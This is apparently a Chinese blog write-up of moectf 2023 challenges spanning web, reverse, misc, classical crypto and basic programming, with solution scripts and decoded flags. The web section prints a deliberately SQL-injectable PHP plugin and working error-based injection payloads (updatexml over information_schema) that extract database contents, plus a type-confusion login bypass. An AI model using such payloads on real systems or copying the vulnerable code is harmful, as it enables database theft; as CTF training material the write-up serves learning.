            try:
                if self.path == "/":
                    self.send_response(200)
                    self.end_headers()
                    self.wfile.write(__page__)
                else:
                    self.send_response(404)
                    self.end_headers()
                    self.wfile.write(b"404 Not Found")
            except Exception as e:
                print(e)
                self.send_response(500)
                self.end_headers()
                self.wfile.write(b"500 Internal Server Error")
    
        def do_POST(self):
            try:
                if self.path == "/login":
                    body = self.rfile.read(int(self.headers.get("Content-Length")))
                    payload = json.loads(body)
                    params = json.loads(decrypt(payload["params"]))
                    print(params)
                    if params.get("username") == "admin":
                        self.send_response(403)
                        self.end_headers()
                        self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                        print("admin")
                        return
                    if params.get("username") == params.get("password"):
                        self.send_response(403)
                        self.end_headers()
                        self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                        print("same")
                        return
                    hashed = gethash(params.get("username"),params.get("password"))
                    for k,v in hashed_users.items():
                        if hashed == v:
                            data = {
                                "user":k,
                                "hash":hashed,
                                "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                            }
                            self.send_response(200)
                            self.end_headers()
                            self.wfile.write(json.dumps(data).encode())
                            print("success")
                            return
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"Invalid username or password")
                else:
                    self.send_response(404)
                    self.end_headers()
                    self.wfile.write(b"404 Not Found")
            except Exception as e:
                print(e)
                self.send_response(500)
                self.end_headers()
                self.wfile.write(b"500 Internal Server Error")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61

    这里用GET传参来接受路由,如果是/就显示前端代码,也就是__page__,除此之外都返回404 Not Found

    Post进行对/login路由处理,先经过decrypt()函数对传进来的payload["params"]进行处理,也就是base64解码五次,然后在进行接受并解析

    接下来如果usernameadmin,就回显"YOU CANNOT LOGIN AS ADMIN!"

    如果username==password,也就是username等于password的值就会返回YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!

    如果前面的条件都没有符合,那么就会让hasded的值等于经过gethash函数处理的usernamepassword

    接下来

    • for k, v in hashed_users.items()::这是一个迭代循环,遍历 hashed_users 字典的键值对。在每次迭代中,键将被赋值给变量 k,而值将被赋值给变量 v
    • if hashed == v::这是一个条件语句,检查当前循环迭代中的哈希值 hashed 是否与字典中的某个值 v 相等。
      • 如果相等,说明找到了匹配的哈希值,这可能代表用户的身份验证成功。
      • 如果不相等,代码将继续迭代,检查下一个键值对。
    • 如果找到了匹配的哈希值(用户身份验证成功),以下内容将被执行:
      • data 字典被创建,其中包括以下键值对:
        • "user": k:将匹配的用户名称赋值给 "user" 键。
        • "hash": hashed:将匹配的哈希值赋值给 "hash" 键。
        • "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}":根据用户名称决定是否分配一个特定的标志(flag)。如果用户名称是 "admin",则使用 FLAG 的值作为标志;否则,使用一个特定的提示消息作为标志。

    所以我们传入的值就需要让username=admin,并且username=password

    这里hashed_users 字典是gethash函数生成的

    gethash()函数

    def gethash(*items):
        c = 0
        for item in items:
            if item is None:
                continue
            c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
        return hex(c)[2:]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    1. def gethash(*items)::定义一个名为 gethash 的函数,该函数接受任意数量的参数,这些参数将被用于生成哈希值。
    2. c = 0:初始化变量 c 为零,用于存储最终的哈希值。
    3. for item in items::遍历传入的参数列表。
    4. if item is None::如果当前参数 itemNone,则跳过当前迭代,继续下一个迭代。这可能是为了处理参数中的空值。
    5. c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big")
    • 在这行代码中,对每个非空参数执行以下操作:
      • hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest():将给定的 item 与一个固定的 salt 值组合,然后计算这个组合的 MD5 哈希值,并获得其原始字节表示。
      • int.from_bytes(..., "big"):将上一步得到的字节表示转换为一个大整数。
      • c ^= ...:将上述得到的整数与变量 c 进行按位异或操作,将结果重新赋值给 c。这可能是为了将多个参数的哈希值合并在一起。
    1. return hex(c)[2:]:将最终合并的哈希值转换为十六进制字符串,并返回其中去掉开头的 “0x” 后的部分。

    我们需要让k值为admin,所以这里的需要让admin经过gethash函数处理

    admin算出来的hash0,然后我就卡题了,去请教了一下出题人

    image-20230818025948059

    解题思路如下

    image-20230818030040074

    我们传入的参数,也就是usernamepassword在这里都会用format来进行格式化

    而format在处理数字0 和字符0时,统一返回的是字符0,那么我们让username是数字0,password是字符0,就可以让他们的hash相等

    exp如下

    随便传个值然后抓包,然后base64解码5

    image-20230818013931883

    修改username0password"0",然后base64编码五次,得到

    image-20230818014053969

    VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJrVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzZWxVeFl6QmtNVUpTVUZRd1BRPT0=
    
    • 1

    修改params的值,然后发包,得到flag

    image-20230818014332305

    (但是 我总感觉这个是非预期解,因为这就和admin的hash是不是0没有关系了,这里好像只要是数字和字符都可以进行绕过)

    出去旅游的心海

    Ctrl+U查看源代码,可以看到存在文件

    image-20231006113145516

    访问一下得到源代码

    
    /*
    Plugin Name: Visitor auto recorder
    Description: Automatically record visitor's identification, still in development, do not use in industry environment!
    Author: KoKoMi
      Still in development! :)
    */
    
    // 不许偷看!这些代码我还在调试呢!
    highlight_file(__FILE__);
    
    // 加载数据库配置,暂时用硬编码绝对路径
    require_once('/var/www/html/wordpress/' . 'wp-config.php');
    
    $db_user = DB_USER; // 数据库用户名
    $db_password = DB_PASSWORD; // 数据库密码
    $db_name = DB_NAME; // 数据库名称
    $db_host = DB_HOST; // 数据库主机
    
    // 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
    // 这些是临时的代码
    
    $ip = $_POST['ip'];
    $user_agent = $_POST['user_agent'];
    $time = stripslashes($_POST['time']);
    
    $mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);
    
    // 检查连接是否成功
    if ($mysqli->connect_errno) {
        echo '数据库连接失败: ' . $mysqli->connect_error;
        exit();
    }
    
    $query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";
    
    // 执行插入
    $result = mysqli_query($mysqli, $query);
    
    // 检查插入是否成功
    if ($result) {
        echo '数据插入成功';
    } else {
        echo '数据插入失败: ' . mysqli_error($mysqli);
    }
    
    // 关闭数据库连接
    mysqli_close($mysqli);
    
    //gpt真好用
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    通过代码审计可以知道开启了报错显示,所以我们可以通过报错注入来获取信息

    我们需要传入ipuser_agenttime参数,这里用time来当注入点

    构造payload:

    ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)
    
    • 1

    得到库名,然后爆表

    payload:

    ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress' ),0x7e),1,20),3)
    
    • 1

    image-20231006125426033

    得到表名,然后爆字段

    payload:

    ip=1&user_agent=1&time=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi'),0x7e),3)
    
    • 1

    image-20231006114243193

    获取flag

    ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e),40,60),3)
    后半段:
    ip=1&user_agent=1&time=updatexml(1,reverse(concat(0x7e,(select group_concat(content) from wordpress.secret_of_kokomi),0x7e)),3
    
    • 1
    • 2
    • 3

    Reversez

    Reverse入门指北

    入门指北,运行附带程序获得flag

    notepad+打开搜索moe

    image-20230814185604057

    base_64

    base64是一种编码方式,不过这个好像有点奇怪?
    hint:pyc文件的反编译可以试试pycdc,或者找找在线的反编译工具

    在线找个网站反编译一下base_64.pyc文件

    反编译后代码如下

    #!/usr/bin/env python
    # visit https://tool.lu/pyc/ for more information
    # Version: Python 3.7
    
    import base64
    from string import *
    str1 = 'yD9oB3Inv3YAB19YynIuJnUaAGB0um0='
    string1 = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0123456789+/'
    string2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    flag = input('welcome to moectf\ninput your flag and I wiil check it:')
    enc_flag = base64.b64encode(flag.encode()).decode()
    enc_flag = enc_flag.translate(str.maketrans(string2, string1))
    if enc_flag == str1:
        print('good job!!!!')
    else:
        print('something wrong???')
        exit(0)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    base64解密并且更换密码本

    image-20230814190952127

    Xor

    这题是一个简单的异或算法。相信初学者们在熟悉了一些例如ida等工具的使用之后能很快解决。
    提示:异或有个特点,a ^ b = c ,那么c ^ a =b

    脚本如下

    #include
    #include
    int main(){
    	char v[30]={0x54, 0x56, 0x5C, 0x5A, 0x4D, 0x5F, 0x42, 0x60, 0x56, 0x4C, 
      0x66, 0x52, 0x57, 0x09, 0x4E, 0x66, 0x51, 0x09, 0x4E, 0x66, 
      0x4D, 0x09, 0x66, 0x61, 0x09, 0x6B, 0x18, 0x44};
      for(int i=0;i<28;++i){
      	v[i]=v[i]^0x39;
      }
      for(int i=0;i<28;++i){
      	printf("%c",v[i]);
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    运行得到flag

    Misc

    Misc 入门指北

    来看看最基础的入门知识吧!

    文件最后有字符串

    image-20230814192620987

    base64解码

    image-20230814192645329

    打不开的图片1

    图片用010Editor打开

    然后插入字节

    image-20230814195850901

    我们要添加文件头FFD8,所以插入两个字节

    image-20230814195936298

    插入文件头FFD8

    image-20230814200159810

    然后添加文件后缀名.JPEG

    图片正常显示

    image-20230814200244178

    右键查看属性

    image-20230814200410349

    解码得到flag

    image-20230814200446347

    狗子(1) 普通的猫

    010查看文件,flag在最后

    image-20230814194440664

    Classical Crypto

    ezrot

    DESCRIPTION:ezrot

    密文如下

    @64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N
    
    • 1

    Rot47加密,找个网站直接解密

    image-20230817020013332

    可可的新围墙

    DESCRIPTION:可可的新围墙

    密文如下

    mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j
    
    • 1

    W型栅栏,栏数是3,直接解密

    image-20230819175711392

    皇帝的新密码

    皇帝的新密码

    密文如下

    tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
    
    • 1

    凯撒密码,偏移量19,解密

    image-20230819180810423

    不是“皇帝的新密码”

    不是“皇帝的新密码”

    附件内容如下

    scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}
    
    • 1

    md5 of flag (utf-8) ea23f80270bdd96b5fcd213cae68eea5

    密码可以去了解一下维吉尼亚密码加密方式,已知前面是moectf,秘钥可以得知是goodjob,解密得到flag

    image-20230820003425234

    Basic

    CCCC

    C语言是学习计算机基础中的基础,也是计算机第一学期的必修课。本题你需要配置一个能够编译运行C语言程序的环境,并且运行题目给出的代码来获取flag。
    by the way:如果你看不懂这段代码,仅仅只是运行得到了flag,后面的题做起来会有一些困难噢

    下载附件得到代码

    #include
    #include
    int main()
    {
      //unsigned char flag[]="moectf{HAHA_C_1s_easy!}";
      unsigned char enc_data[]="mng`pc}OIAKTOR?|Ots`m4k",flag[23];
      int i;
      for( i=0;i<strlen(enc_data);i++)
      {
        flag[i]=enc_data[i]^i;
      }
      puts(flag);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    运行后得到flag,注释也有

    Python

    DESCRIPTION: Python是CTF中最常用的编程语言,不管是学习哪个方向都离不开Python。本题你需要配置一个能够编译运行Python程序的环境,并且运行题目给出的代码来获取flag。
    by the way:希望你是在看懂这段代码的基础上提交flag的:)

    附件内代码如下

    enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142]
    x=lambda x:x^0xff
    enc2=[]
    for i in enc1:
      enc2.append(x(i))
    key="moectf2023"
    flag=""
    for i in range(len(enc2)):
        flag+=chr(((0xf3)&(enc2[i])|((enc2[i])^0xff)&0xc))
    print(flag)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    运行得到flag

    moectf{Pyth0n_1z_0ur_g00d_friendz}
    
    • 1

    runme

    DESCRIPTION: 下载文件,双击运行得flag~
    但是我的程序好像会闪退欸,能不能想个办法保留一下它的输出?比如用CMD来运行它试试?
    如果你不知道什么是CMD,可以尝试使用搜索引擎来学习,加油吧(> <)

    在命令行运行

    runme.exe
    
    • 1

    image-20230820011806103

    runme2

    DESCRIPTION: 下载文件,运行得flag~
    诶诶出了点小问题,好像不能运行?!因为这个程序是Linux操作系统下的可执行文件,不再是Windows了。
    请尝试配置一个Linux环境(虚拟机或者WSL)来运行它。

    Linux环境下运行得到flag

    image-20230820012256971

    后记

    因为本人是学Web的,所以剩下的方向纯属是瞎写,师傅们觉得写的不好也轻点骂(

  • 相关阅读:
    Flutter:setState() 能在 build() 中直接调用吗?
    UE4(unreal engine)虚幻引擎中安装light explorer灯光管理器插件
    React-2 JSX知识
    R语言学习:购物篮分析,mba包
    GoLang之iface 和 eface 的区别是什么?
    【完美云曦篇】新预告,云曦遭魔改被抓,石昊首秀九天劫光,反杀战王
    计算机网络——分层结构,协议接口,服务
    MATLB|具有储能的经济调度及机会约束和鲁棒优化
    statsD学习笔记
    16:00面试,16:06就出来了,问的问题有点变态。。。
  • 原文地址:https://blog.csdn.net/Leaf_initial/article/details/133924281